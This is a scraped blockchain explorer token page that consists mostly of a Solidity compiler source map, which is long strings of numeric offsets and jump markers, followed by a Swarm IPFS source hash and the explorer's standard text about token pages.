;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8597:44;;;8650:4;8657:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8597:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8590:82;;8523:157;:::o;1677:205::-;1744:4;1808:66;1768:106;;1795:7;1778:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;1768:36;;;;;;:106;1761:113;;1677:205;;;:::o;2434:246::-;2492:7;2521:1;2516;:6;2512:47;;2546:1;2539:8;;;;2512:47;2569:9;2585:1;2581;:5;;;;:::i;:::-;2569:17;;2614:1;2609;2605;:5;;;;:::i;:::-;:10;2597:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2671:1;2664:8;;;2434:246;;;;;:::o;2686:132::-;2744:7;2771:39;2775:1;2778;2771:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2764:46;;2686:132;;;;:::o;8076:144::-;8171:2;8152:21;;:15;:13;:15::i;:::-;:21;;;8148:65;;8176:9;8191:19;;;;;;;;8199:2;8191:19;;;;;;8203:6;8191:19;;;8176:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8148:65;8076:144;;:::o;2824:189::-;2910:7;2942:1;2938;:5;2945:12;2930:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2969:9;2985:1;2981;:5;;;;:::i;:::-;2969:17;;3004:1;2997:8;;;2824:189;;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:474::-;5226:6;5234;5283:2;5271:9;5262:7;5258:23;5254:32;5251:119;;;5289:79;;:::i;:::-;5251:119;5409:1;5434:53;5479:7;5470:6;5459:9;5455:22;5434:53;:::i;:::-;5424:63;;5380:117;5536:2;5562:53;5607:7;5598:6;5587:9;5583:22;5562:53;:::i;:::-;5552:63;;5507:118;5158:474;;;;;:::o;5638:180::-;5686:77;5683:1;5676:88;5783:4;5780:1;5773:15;5807:4;5804:1;5797:15;5824:320;5868:6;5905:1;5899:4;5895:12;5885:22;;5952:1;5946:4;5942:12;5973:18;5963:81;;6029:4;6021:6;6017:17;6007:27;;5963:81;6091:2;6083:6;6080:14;6060:18;6057:38;6054:84;;6110:18;;:::i;:::-;6054:84;5875:269;5824:320;;;:::o;6150:180::-;6198:77;6195:1;6188:88;6295:4;6292:1;6285:15;6319:4;6316:1;6309:15;6336:305;6376:3;6395:20;6413:1;6395:20;:::i;:::-;6390:25;;6429:20;6447:1;6429:20;:::i;:::-;6424:25;;6583:1;6515:66;6511:74;6508:1;6505:81;6502:107;;;6589:18;;:::i;:::-;6502:107;6633:1;6630;6626:9;6619:16;;6336:305;;;;:::o;6647:182::-;6787:34;6783:1;6775:6;6771:14;6764:58;6647:182;:::o;6835:366::-;6977:3;6998:67;7062:2;7057:3;6998:67;:::i;:::-;6991:74;;7074:93;7163:3;7074:93;:::i;:::-;7192:2;7187:3;7183:12;7176:19;;6835:366;;;:::o;7207:419::-;7373:4;7411:2;7400:9;7396:18;7388:26;;7460:9;7454:4;7450:20;7446:1;7435:9;7431:17;7424:47;7488:131;7614:4;7488:131;:::i;:::-;7480:139;;7207:419;;;:::o;7632:191::-;7672:4;7692:20;7710:1;7692:20;:::i;:::-;7687:25;;7726:20;7744:1;7726:20;:::i;:::-;7721:25;;7765:1;7762;7759:8;7756:34;;;7770:18;;:::i;:::-;7756:34;7815:1;7812;7808:9;7800:17;;7632:191;;;;:::o;7829:224::-;7969:34;7965:1;7957:6;7953:14;7946:58;8038:7;8033:2;8025:6;8021:15;8014:32;7829:224;:::o;8059:366::-;8201:3;8222:67;8286:2;8281:3;8222:67;:::i;:::-;8215:74;;8298:93;8387:3;8298:93;:::i;:::-;8416:2;8411:3;8407:12;8400:19;;8059:366;;;:::o;8431:419::-;8597:4;8635:2;8624:9;8620:18;8612:26;;8684:9;8678:4;8674:20;8670:1;8659:9;8655:17;8648:47;8712:131;8838:4;8712:131;:::i;:::-;8704:139;;8431:419;;;:::o;8856:222::-;8996:34;8992:1;8984:6;8980:14;8973:58;9065:5;9060:2;9052:6;9048:15;9041:30;8856:222;:::o;9084:366::-;9226:3;9247:67;9311:2;9306:3;9247:67;:::i;:::-;9240:74;;9323:93;9412:3;9323:93;:::i;:::-;9441:2;9436:3;9432:12;9425:19;;9084:366;;;:::o;9456:419::-;9622:4;9660:2;9649:9;9645:18;9637:26;;9709:9;9703:4;9699:20;9695:1;9684:9;9680:17;9673:47;9737:131;9863:4;9737:131;:::i;:::-;9729:139;;9456:419;;;:::o;9881:180::-;9929:77;9926:1;9919:88;10026:4;10023:1;10016:15;10050:4;10047:1;10040:15;10067:180;10115:77;10112:1;10105:88;10212:4;10209:1;10202:15;10236:4;10233:1;10226:15;10253:143;10310:5;10341:6;10335:13;10326:22;;10357:33;10384:5;10357:33;:::i;:::-;10253:143;;;;:::o;10402:351::-;10472:6;10521:2;10509:9;10500:7;10496:23;10492:32;10489:119;;;10527:79;;:::i;:::-;10489:119;10647:1;10672:64;10728:7;10719:6;10708:9;10704:22;10672:64;:::i;:::-;10662:74;;10618:128;10402:351;;;;:::o;10759:85::-;10804:7;10833:5;10822:16;;10759:85;;;:::o;10850:60::-;10878:3;10899:5;10892:12;;10850:60;;;:::o;10916:158::-;10974:9;11007:61;11025:42;11034:32;11060:5;11034:32;:::i;:::-;11025:42;:::i;:::-;11007:61;:::i;:::-;10994:74;;10916:158;;;:::o;11080:147::-;11175:45;11214:5;11175:45;:::i;:::-;11170:3;11163:58;11080:147;;:::o;11233:114::-;11300:6;11334:5;11328:12;11318:22;;11233:114;;;:::o;11353:184::-;11452:11;11486:6;11481:3;11474:19;11526:4;11521:3;11517:14;11502:29;;11353:184;;;;:::o;11543:132::-;11610:4;11633:3;11625:11;;11663:4;11658:3;11654:14;11646:22;;11543:132;;;:::o;11681:108::-;11758:24;11776:5;11758:24;:::i;:::-;11753:3;11746:37;11681:108;;:::o;11795:179::-;11864:10;11885:46;11927:3;11919:6;11885:46;:::i;:::-;11963:4;11958:3;11954:14;11940:28;;11795:179;;;;:::o;11980:113::-;12050:4;12082;12077:3;12073:14;12065:22;;11980:113;;;:::o;12129:732::-;12248:3;12277:54;12325:5;12277:54;:::i;:::-;12347:86;12426:6;12421:3;12347:86;:::i;:::-;12340:93;;12457:56;12507:5;12457:56;:::i;:::-;12536:7;12567:1;12552:284;12577:6;12574:1;12571:13;12552:284;;;12653:6;12647:13;12680:63;12739:3;12724:13;12680:63;:::i;:::-;12673:70;;12766:60;12819:6;12766:60;:::i;:::-;12756:70;;12612:224;12599:1;12596;12592:9;12587:14;;12552:284;;;12556:14;12852:3;12845:10;;12253:608;;;12129:732;;;;:::o;12867:831::-;13130:4;13168:3;13157:9;13153:19;13145:27;;13182:71;13250:1;13239:9;13235:17;13226:6;13182:71;:::i;:::-;13263:80;13339:2;13328:9;13324:18;13315:6;13263:80;:::i;:::-;13390:9;13384:4;13380:20;13375:2;13364:9;13360:18;13353:48;13418:108;13521:4;13512:6;13418:108;:::i;:::-;13410:116;;13536:72;13604:2;13593:9;13589:18;13580:6;13536:72;:::i;:::-;13618:73;13686:3;13675:9;13671:19;13662:6;13618:73;:::i;:::-;12867:831;;;;;;;;:::o;13704:233::-;13743:3;13766:24;13784:5;13766:24;:::i;:::-;13757:33;;13812:66;13805:5;13802:77;13799:103;;13882:18;;:::i;:::-;13799:103;13929:1;13922:5;13918:13;13911:20;;13704:233;;;:::o;13943:332::-;14064:4;14102:2;14091:9;14087:18;14079:26;;14115:71;14183:1;14172:9;14168:17;14159:6;14115:71;:::i;:::-;14196:72;14264:2;14253:9;14249:18;14240:6;14196:72;:::i;:::-;13943:332;;;;;:::o;14281:94::-;14314:8;14362:5;14358:2;14354:14;14333:35;;14281:94;;;:::o;14381:::-;14420:7;14449:20;14463:5;14449:20;:::i;:::-;14438:31;;14381:94;;;:::o;14481:100::-;14520:7;14549:26;14569:5;14549:26;:::i;:::-;14538:37;;14481:100;;;:::o;14587:157::-;14692:45;14712:24;14730:5;14712:24;:::i;:::-;14692:45;:::i;:::-;14687:3;14680:58;14587:157;;:::o;14750:256::-;14862:3;14877:75;14948:3;14939:6;14877:75;:::i;:::-;14977:2;14972:3;14968:12;14961:19;;14997:3;14990:10;;14750:256;;;;:::o;15012:348::-;15052:7;15075:20;15093:1;15075:20;:::i;:::-;15070:25;;15109:20;15127:1;15109:20;:::i;:::-;15104:25;;15297:1;15229:66;15225:74;15222:1;15219:81;15214:1;15207:9;15200:17;15196:105;15193:131;;;15304:18;;:::i;:::-;15193:131;15352:1;15349;15345:9;15334:20;;15012:348;;;;:::o;15366:180::-;15414:77;15411:1;15404:88;15511:4;15508:1;15501:15;15535:4;15532:1;15525:15;15552:185;15592:1;15609:20;15627:1;15609:20;:::i;:::-;15604:25;;15643:20;15661:1;15643:20;:::i;:::-;15638:25;;15682:1;15672:35;;15687:18;;:::i;:::-;15672:35;15729:1;15726;15722:9;15717:14;;15552:185;;;;:::o;15743:220::-;15883:34;15879:1;15871:6;15867:14;15860:58;15952:3;15947:2;15939:6;15935:15;15928:28;15743:220;:::o;15969:366::-;16111:3;16132:67;16196:2;16191:3;16132:67;:::i;:::-;16125:74;;16208:93;16297:3;16208:93;:::i;:::-;16326:2;16321:3;16317:12;16310:19;;15969:366;;;:::o;16341:419::-;16507:4;16545:2;16534:9;16530:18;16522:26;;16594:9;16588:4;16584:20;16580:1;16569:9;16565:17;16558:47;16622:131;16748:4;16622:131;:::i;:::-;16614:139;;16341:419;;;:::o

Swarm Source

ipfs://83356af7333f87bf6e66daadf093edbb604f7bfde8e569f996f7dfc647488ed6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.